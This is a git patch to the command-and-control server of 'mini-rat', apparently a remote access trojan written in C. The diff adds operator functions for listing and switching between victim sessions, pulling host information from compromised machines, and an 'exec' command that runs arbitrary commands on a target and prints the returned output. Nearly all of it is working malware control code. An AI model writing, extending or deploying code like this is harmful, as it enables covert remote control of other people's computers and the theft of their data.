From 1f1176a2a86363b93fc8c28dd44bdaa8c44c0665 Mon Sep 17 00:00:00 2001
From: Danny Holman <dholman@gymli.org>
Date: Tue, 13 Jun 2023 23:52:35 -0500
Subject: server: add helper functions to the main file

Add several helper functions to the main file of the C&C server that
perform actions requested by the user.

Signed-off-by: Danny Holman <dholman@gymli.org>
---
 server/src/mini-rat.c | 124 ++++++++++++++++++++++++++++++++++++++++++++++----
 1 file changed, 115 insertions(+), 9 deletions(-)

diff --git a/server/src/mini-rat.c b/server/src/mini-rat.c
index adaa6da..a96e48f 100644
--- a/server/src/mini-rat.c
+++ b/server/src/mini-rat.c
@@ -1,34 +1,140 @@
 #include <logging.h>
 #include <server.h>
+#include <session.h>
 #include <mini-rat.h>
+#include <util.h>
 
 int running = 1;
 int cur_session = 0;
 
-void parse_cmd(const char *line) {
-        if (strcmp(line, "exit\n") == 0) {
+void print_session(void) {
+        if (cur_session == 0) {
+                printf("No session selected\n");
+                return;
+        }
+        printf("Session %d\n", cur_session);
+}
+
+void print_status(void) {
+        int num_ses = num_alive_sessions();
+        if (num_ses != 0)
+                printf("Current session ID: %d\n", cur_session);
+        printf("Total active sessions: %d\n", num_ses);
+}
+
+void print_hostinfo(void) {
+        if (cur_session == 0)
+                return;
+        write_session(cur_session, "HOSTINFO\r\n", 11);
+        char *buffer = malloc(4096);
+        read_session(cur_session, buffer, 4096);
+        printf(buffer);
+        free(buffer);
+}
+
+void swap_session(int session) {
+        if (find_session(session) == NULL) {
+                printf("No such session\n");
+                return;
+        }
+
+        cur_session = session;
+        printf("Swapped to session %d\n", session);
+}
+
+void run_exec(const char **argv) {
+        if (cur_session == 0)
+                return;
+
+        write_session(cur_session, "EXEC ", 5);
+        size_t idx = 0;
+        const char *temp = argv[idx];
+        while (temp != NULL) {
+                write_session(cur_session, temp, strlen(temp));
+                write_session(cur_session, " ", 1);
+                temp = argv[++idx];
+        }
+        write_session(cur_session, "\n", 1);
+
+        char buffer[4096];
+        read_session(cur_session, buffer, 4096);
+        printf("FROM TARGET: %s\n", buffer);
+}
+
+void parse_cmd(char *line) {
+        const char **tokens = str_split(line, " ");
+        if (tokens == NULL)
+                return;
+
+        if (strcmp(tokens[0], "exit") == 0) {
                 running = 0;
-        } else if (strncmp(line, "session ", 8) == 0) {
-                sprintf(line, "session %d", cur_session);
-                printf("Swapped current session to %d\n", cur_session);
+        } else if (strcmp(tokens[0], "session") == 0) {
+                if (tokens[1] == NULL) {
+                        print_session();
+                        return;
+                }
+                swap_session(atoi(tokens[1]));
+        } else if (strcmp(tokens[0], "read") == 0) {
+                char buffer[1024];
+                read_session(cur_session, buffer, 1024);
+                printf("%s\n", buffer);
+        } else if (strcmp(tokens[0], "status") == 0) {
+                print_status();
+        } else if (strcmp(tokens[0], "hostinfo") == 0) {
+                print_hostinfo();
+        } else if (strcmp(tokens[0], "exec") == 0) {
+                run_exec(&tokens[1]);
+        } else if (strcmp(tokens[0], "stop") == 0) {
+                write_session(cur_session, "EXIT", 4);
+                kill_session(cur_session);
+        } else if (strlen(tokens[0]) == 0) {
+                // Do nothing
+        } else {
+                printf("Invalid command\n");
         }
+        free(tokens);
         return;
 }
 
+void sig_handler(int signum) {
+        switch (signum) {
+                case SIGINT:
+                        log_msg(LOG_INFO, "Caught SIGTERM, shutting down\n");
+                        running = 0;
+                        break;
+                case SIGHUP:
+                        log_msg(LOG_INFO, "Caught SIGHUP, reloading config\n");
+                        // TODO: reload the config
+                        break;
+                default:
+                        break;
+        }
+}
+
 int main(int argc, char* argv[]) {
-        FILE *logfile = fopen("log.txt", "w");
-        init_logging(logfile);
+        struct sigaction action;
+        memset(&action, 0, sizeof(struct sigaction));
+        action.sa_handler = sig_handler;
+        sigaction(SIGTERM, &action, NULL);
+        sigaction(SIGHUP, &action, NULL);
+
+        //FILE *logfile = fopen("log.txt", "w");
+        init_logging(stderr);
         uint16_t port = 1122;
         pthread_t listen_thread;
         pthread_create(&listen_thread, NULL, listener, (void*)&port);
+        pthread_detach(listen_thread);
 
-        char line[4096];
+        size_t line_sz = 1024;
+        char *line = malloc(line_sz);
         while (running) {
                 printf("mini-rat> ");
-                fgets(line, 4096, stdin);
+                getline(&line, &line_sz, stdin);
                 parse_cmd(line);
         }
 
+        free(line);
+        log_msg(LOG_INFO, "Mini-RAT shutting down\n");
         pthread_cancel(listen_thread);
         return 0;
 }
-- 
cgit v1.2.3